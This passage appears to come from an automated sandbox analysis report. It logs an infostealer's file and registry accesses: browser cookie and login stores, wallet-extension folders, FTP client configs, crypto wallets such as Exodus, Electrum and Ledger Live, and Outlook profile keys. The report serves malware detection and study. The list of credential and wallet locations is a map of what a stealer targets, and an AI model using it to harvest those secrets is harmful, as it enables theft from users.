Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies-journal
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account-journal
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-shm
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies-journal
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\MCdUWiJkswOzRL.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data-journal

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	File opened: C:\Users\user\AppData\Roaming\Binance\
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003
Source: C:\Users\user\AppData\Local\Temp\1016094001\91a3357555.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004

Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\NVWZAPQSQL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe	Directory queried: C:\Users\user\Documents\LFOPODGVOH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\EEGWXUHVUG
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\EFOYFBOLXA
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\HQJBRDYKDE
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\JDDHMPCDUJ
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\VWDFPKGDUF
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
Source: C:\Users\user\AppData\Local\Temp\1016093001\376a884392.exe.exe	Directory queried: C:\Users\user\Documents\CZQKSDDMWR
